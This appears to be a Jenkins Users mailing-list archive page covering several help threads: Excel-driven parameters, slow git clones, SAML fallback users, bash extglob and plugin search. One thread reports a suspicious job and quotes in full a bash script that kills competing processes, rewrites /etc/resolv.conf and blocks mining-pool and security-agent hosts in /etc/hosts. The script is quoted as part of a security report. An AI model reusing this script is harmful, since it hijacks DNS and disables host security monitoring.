Re: How to pull parameters from excel sheet and pass it to job

2020-07-01 Thread Slide
I don't think there is a way to do this right now.
https://plugins.jenkins.io/ui/search?query=excel

You may need to do something in a shared library or something similar.

On Wed, Jul 1, 2020 at 12:45 PM Devops-warrior 
wrote:

> I have a job which will deploy web, app and DB servers into AWS cloud. As
> of now we are taking Ip's for each server from Network team and passing
> manually in build paremeters. Can someone help me? how to pull parameters
> from excel sheet and pass it on to jenkins job.
>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/73b11319-7504-4539-9758-4f1100e79236o%40googlegroups.com
> 
> .
>


-- 
Website: http://earl-of-code.com

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAPiUgVeE48U53fp7k-%3D72GwjF6%3DTAHuijShuVaOdSirsiEEGMw%40mail.gmail.com.


How to pull parameters from excel sheet and pass it to job

2020-07-01 Thread Devops-warrior
I have a job which will deploy web, app and DB servers into AWS cloud. As 
of now we are taking Ip's for each server from Network team and passing 
manually in build paremeters. Can someone help me? how to pull parameters 
from excel sheet and pass it on to jenkins job.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/73b11319-7504-4539-9758-4f1100e79236o%40googlegroups.com.


Re: Download the git repo and use it for the downstream job

2020-07-01 Thread Mark Waite
You might watch https://youtu.be/jBGFjFc6Jf8?t=6434 and
https://youtu.be/TsWkZLLU-s4?t=138 in case they contain hints that might
help in your case.

Those videos suggest that you might:

   - Use a reference repository on the agent machine to reduce data
   transfer between the git server and the agent
   - Narrow the refspec in the job definition to request only the items you
   need
   - Use a shallow clone to request less history of the repository

You might also consider placing the git server "nearer" to the agents on
the network.

You might also assess the capabilities of the git server as suggested by
Gianluca.  If it is heavily loaded while providing the data, then it may
need better I/O services or more processor power or more network bandwidth.

You might also confirm that the git repository on the git server is not
needing a garbage collection run.

Many opportunities to tune and improve at many different locations.

Mark Waite

On Wed, Jul 1, 2020 at 1:11 PM Gianluca  wrote:

> Hi,
> it's hard to help with so little context.
> For big what you mean? what is the actual size of the repository?
> Git .. exactly where is the remote? GitHub, Gitlab, other?
> The error is intermittent or constant? (i.e. could a simple retry do the
> trick?)
>
>
> On Wednesday, 1 July 2020 20:03:12 UTC+1, sravan wrote:
>>
>> Hi All,
>>
>> My git repo is really big and I am running job parallel on two different
>> machine.Sometimes I see an issue with downloading from git . I get this
>> error "failed on download from git" Error.
>>
>> ERROR: Timeout after 10 minutes
>> ERROR: Error cloning remote repo 'origin'
>> returned status code 128:
>> stdout:
>> stderr: remote: Enumerating objects: 522, done.
>> remote: Counting objects:   0% (1/522)
>> remote: Counting objects:   1% (6/522)
>>
>>
>> Could anyone help me with this please
>>
> --
> You received this message because you are subscribed to the Google Groups
> "Jenkins Users" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to jenkinsci-users+unsubscr...@googlegroups.com.
> To view this discussion on the web visit
> https://groups.google.com/d/msgid/jenkinsci-users/113403d9-abd0-4d73-9ec0-6b684e893315o%40googlegroups.com
> 
> .
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/CAO49JtHiVOnNbDA5HtKw33EEWpYJsmcZJ3L%3D3mbzoWVE9qiLdw%40mail.gmail.com.


Re: Jenkins SAML ADFS and local users.

2020-07-01 Thread Ivan Fernandez Calvo

>
>
> Are any future plans to have the same capability with SAML/ADFS plugin
> or anything else down the line planned in Jenkins Core to overcome this
> scenario?
>

No, I do not have plans to add any kind of fallback user to the SAML 
plugin, this, in my opinion, is to add a non-related SAML logics to manage 
API users. You can workaround it with a real user in the SAML IdP and an 
API Token, In case that these fallback users make any sense, T¡this feature 
should be implemented in a plugin for those kind os users, in that way is 
something you can combine with any Authentication plugin, and we do not 
have to reinvent the wheel on each authentication plugin. Unfortunately, 
Jenkins does not support more than one Security Realm active at the same 
time. Another option can be to extend the API token feature to support 
local users but this is part of the core IIRC.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/3c650e5f-1f6c-4801-93ba-ce6ebf4af54eo%40googlegroups.com.


Re: Download the git repo and use it for the downstream job

2020-07-01 Thread Gianluca
Hi,
it's hard to help with so little context.
For big what you mean? what is the actual size of the repository?
Git .. exactly where is the remote? GitHub, Gitlab, other?
The error is intermittent or constant? (i.e. could a simple retry do the 
trick?)


On Wednesday, 1 July 2020 20:03:12 UTC+1, sravan wrote:
>
> Hi All,
>
> My git repo is really big and I am running job parallel on two different 
> machine.Sometimes I see an issue with downloading from git . I get this 
> error "failed on download from git" Error.
>
> ERROR: Timeout after 10 minutes
> ERROR: Error cloning remote repo 'origin'
> returned status code 128:
> stdout: 
> stderr: remote: Enumerating objects: 522, done.
> remote: Counting objects:   0% (1/522)
> remote: Counting objects:   1% (6/522)
>
>
> Could anyone help me with this please
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/113403d9-abd0-4d73-9ec0-6b684e893315o%40googlegroups.com.


Download the git repo and use it for the downstream job

2020-07-01 Thread Nitish Goel
Have you tried git lfs? 
If you have large files, then git lfs is your solution.

Thanks,
Nitish Goel

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/8b7627f7-350d-476f-b231-dff5cac2c584o%40googlegroups.com.


Download the git repo and use it for the downstream job

2020-07-01 Thread sravan
Hi All,

My git repo is really big and I am running job parallel on two different 
machine.Sometimes I see an issue with downloading from git . I get this 
error "failed on download from git" Error.

ERROR: Timeout after 10 minutes
ERROR: Error cloning remote repo 'origin'
returned status code 128:
stdout: 
stderr: remote: Enumerating objects: 522, done.
remote: Counting objects:   0% (1/522)
remote: Counting objects:   1% (6/522)


Could anyone help me with this please

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/d0eafbb9-4e96-41ac-b026-368fb3d8450ao%40googlegroups.com.


Re: Potential Malware

2020-07-01 Thread Randall Becker
We have locked down the system and have not had a recurrence. If there is 
one, I will report it ASAP.

Thank you all for the concern :)

Cheers,
Randall

On Wednesday, 1 July 2020 09:55:06 UTC-4, Jan Monterrubio wrote:
>
> Randall/Daniel, if there does end up being malware for this release would 
> you mind replying on this thread? 
>
> On Monday, June 22, 2020 at 1:00:09 PM UTC-5, Daniel Beck wrote:
>>
>> Thanks for your report. 
>>
>> I filed an issue on your behalf in the Jenkins project's private security 
>> issue tracker. You should have gotten an email notification from Jira about 
>> it. Please provide more information there to help us investigate. 
>>
>>
>> > On 22. Jun 2020, at 19:15, Randall Becker  wrote: 
>> > 
>> > Hi All, 
>> > 
>> > We just installed Jenkins 2.240 and suddenly there is a job with some 
>> really strange content, including: 
>> > 
>> > #!/bin/bash 
>> > 
>> > threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | 
>> head -n 1); 
>> > hostHash=$(hostname -f | md5sum | cut -c1-8); 
>> > echo "${hostHash} - ${threadCount}"; 
>> > ktr () { 
>> > killall trace;pkill -9 -f trace;killall -s SIGKILL trace 
>> > killall vunix;pkill -9 -f vunix;killall -s SIGKILL vunix 
>> > killall viunix;pkill viunix;killall -s SIGKILL viunix 
>> > kill -9 $(ps -ux | grep trace | awk '{ print $2 }') 
>> > kill -9 $(ps -ux | grep vunix | awk '{ print $2 }') 
>> > kill -9 $(ps -ux | grep viunix | awk '{ print $2 }') 
>> > echo kill 
>> > } 
>> > 
>> > ktr 
>> > ktr 
>> > ktr 
>> > echo plsfoodforcatsnlove 
>> > echo 'nameserver 1.1.1.1' > /etc/resolv.conf;echo 'nameserver 8.8.8.8' 
>> >> /etc/resolv.conf;echo 'nameserver 180.76.76.76' >> /etc/resolv.conf 
>> > echo "0.0.0.0 blockchain.info" >> /etc/hosts;echo "0.0.0.0 
>> 35.225.36.167" >> /etc/hosts;echo "0.0.0.0 100.100.25.3 
>> jsrv.aegis.aliyun.com" >> /etc/hosts 
>> > echo "0.0.0.0 100.100.25.4 update.aegis.aliyun.co" >> /etc/hosts;echo 
>> "0.0.0.0 185.164.72.119" >> /etc/hosts;echo "0.0.0.0 163.172.191.181" >> 
>> /etc/hosts 
>> > echo "0.0.0.0 pool.supportxmr.com" >> /etc/hosts;echo "0.0.0.0 
>> pinto.mamointernet.icu" >> /etc/hosts;echo "0.0.0.0 sdk.bce.baidu.com" 
>> >> /etc/hosts 
>> > echo "0.0.0.0 lsd.systemten.org" >> /etc/hosts; 
>> > echo "0.0.0.0 pool.minexmr.com" >> /etc/hosts 
>> > echo "0.0.0.0 minexmr.com" >> /etc/hosts 
>> > 
>> > This is really creepy because this script cannot possibly run on our 
>> system (the good part). The bad part is that no one in our organization 
>> created this job. Is it possible that there is some malware floating 
>> around? Our Jenkins instance is hiding behind a firewall so there's no way 
>> in. 
>> > 
>> > Thanks, 
>> > Randall 
>> > 
>> > -- 
>> > You received this message because you are subscribed to the Google 
>> Groups "Jenkins Users" group. 
>> > To unsubscribe from this group and stop receiving emails from it, send 
>> an email to jenkins...@googlegroups.com. 
>> > To view this discussion on the web visit 
>> https://groups.google.com/d/msgid/jenkinsci-users/389e7848-bad2-4044-ab9d-c3fd0f106256o%40googlegroups.com.
>>  
>>
>>
>>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/ee855a10-2327-40b5-95e2-8699bfc2f5d1o%40googlegroups.com.


Re: Potential Malware

2020-07-01 Thread Jan Monterrubio
Randall/Daniel, if there does end up being malware for this release would 
you mind replying on this thread? 

On Monday, June 22, 2020 at 1:00:09 PM UTC-5, Daniel Beck wrote:
>
> Thanks for your report. 
>
> I filed an issue on your behalf in the Jenkins project's private security 
> issue tracker. You should have gotten an email notification from Jira about 
> it. Please provide more information there to help us investigate. 
>
>
> > On 22. Jun 2020, at 19:15, Randall Becker  > wrote: 
> > 
> > Hi All, 
> > 
> > We just installed Jenkins 2.240 and suddenly there is a job with some 
> really strange content, including: 
> > 
> > #!/bin/bash 
> > 
> > threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | 
> head -n 1); 
> > hostHash=$(hostname -f | md5sum | cut -c1-8); 
> > echo "${hostHash} - ${threadCount}"; 
> > ktr () { 
> > killall trace;pkill -9 -f trace;killall -s SIGKILL trace 
> > killall vunix;pkill -9 -f vunix;killall -s SIGKILL vunix 
> > killall viunix;pkill viunix;killall -s SIGKILL viunix 
> > kill -9 $(ps -ux | grep trace | awk '{ print $2 }') 
> > kill -9 $(ps -ux | grep vunix | awk '{ print $2 }') 
> > kill -9 $(ps -ux | grep viunix | awk '{ print $2 }') 
> > echo kill 
> > } 
> > 
> > ktr 
> > ktr 
> > ktr 
> > echo plsfoodforcatsnlove 
> > echo 'nameserver 1.1.1.1' > /etc/resolv.conf;echo 'nameserver 8.8.8.8' 
> >> /etc/resolv.conf;echo 'nameserver 180.76.76.76' >> /etc/resolv.conf 
> > echo "0.0.0.0 blockchain.info" >> /etc/hosts;echo "0.0.0.0 
> 35.225.36.167" >> /etc/hosts;echo "0.0.0.0 100.100.25.3 
> jsrv.aegis.aliyun.com" >> /etc/hosts 
> > echo "0.0.0.0 100.100.25.4 update.aegis.aliyun.co" >> /etc/hosts;echo 
> "0.0.0.0 185.164.72.119" >> /etc/hosts;echo "0.0.0.0 163.172.191.181" >> 
> /etc/hosts 
> > echo "0.0.0.0 pool.supportxmr.com" >> /etc/hosts;echo "0.0.0.0 
> pinto.mamointernet.icu" >> /etc/hosts;echo "0.0.0.0 sdk.bce.baidu.com" >> 
> /etc/hosts 
> > echo "0.0.0.0 lsd.systemten.org" >> /etc/hosts; 
> > echo "0.0.0.0 pool.minexmr.com" >> /etc/hosts 
> > echo "0.0.0.0 minexmr.com" >> /etc/hosts 
> > 
> > This is really creepy because this script cannot possibly run on our 
> system (the good part). The bad part is that no one in our organization 
> created this job. Is it possible that there is some malware floating 
> around? Our Jenkins instance is hiding behind a firewall so there's no way 
> in. 
> > 
> > Thanks, 
> > Randall 
> > 
> > -- 
> > You received this message because you are subscribed to the Google 
> Groups "Jenkins Users" group. 
> > To unsubscribe from this group and stop receiving emails from it, send 
> an email to jenkins...@googlegroups.com . 
> > To view this discussion on the web visit 
> https://groups.google.com/d/msgid/jenkinsci-users/389e7848-bad2-4044-ab9d-c3fd0f106256o%40googlegroups.com.
>  
>
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/6004d523-9169-46dc-88f1-47c46542d6a3o%40googlegroups.com.


Pull parameters from excel sheet

2020-07-01 Thread Devops-warrior
I have a job which will deploy web, app and DB servers into AWS cloud. As 
of now we are taking Ip's for each server from Network team and passing 
manually in build paremeters. Can someone help me? how to pull parameters 
from excel sheet and pass it on to jenkins job..

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/2299d309-6545-40c9-9b99-8da1eeb7ea46o%40googlegroups.com.


Re: Shell command with (

2020-07-01 Thread Daniel Beck



> On 30. Jun 2020, at 18:27, Jérôme Godbout  wrote:
> 
> What the hell is sh is doing?

It's not automatically applying your .bash_profile or .bashrc to a standalone 
script, as such an environment dependency would severely limit the reusability 
of shell scripts.

You need to set the extglob shell option for this shell script if you want to 
use this feature.

Compare:

1. bash -c 'ls !(foo)'
2. bash -O extglob -c 'ls !(foo)'

See `man bash`, specifically EXPANSION -> Pathname Expansion -> Pattern 
Matching.

-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/3388A299-D679-4999-AA4B-D96E155FE55E%40beckweb.net.


Re: Available plugins are hidden

2020-07-01 Thread Ullrich Hafner


> Am 30.06.2020 um 22:33 schrieb BarraS :
> 
> I find it somewhat unintuitive, but I guess I should have read the manual.

Well, you never should be required to read a manual to understand on how to use 
the search field :-) I also think this is not intuitive, it also has been 
discussed in the PR but as far as I remember it will be addressed some time in 
the future when we hopefully improve the UI experience of tables in Jenkins. 
Maybe it would be a good thing if you bring up this topic in the UX Gitter 
channel: https://gitter.im/jenkinsci/ux-sig 


-- 
You received this message because you are subscribed to the Google Groups 
"Jenkins Users" group.
To unsubscribe from this group and stop receiving emails from it, send an email 
to jenkinsci-users+unsubscr...@googlegroups.com.
To view this discussion on the web visit 
https://groups.google.com/d/msgid/jenkinsci-users/84D4B4D1-6B21-4C58-9964-558BBC8B3470%40gmail.com.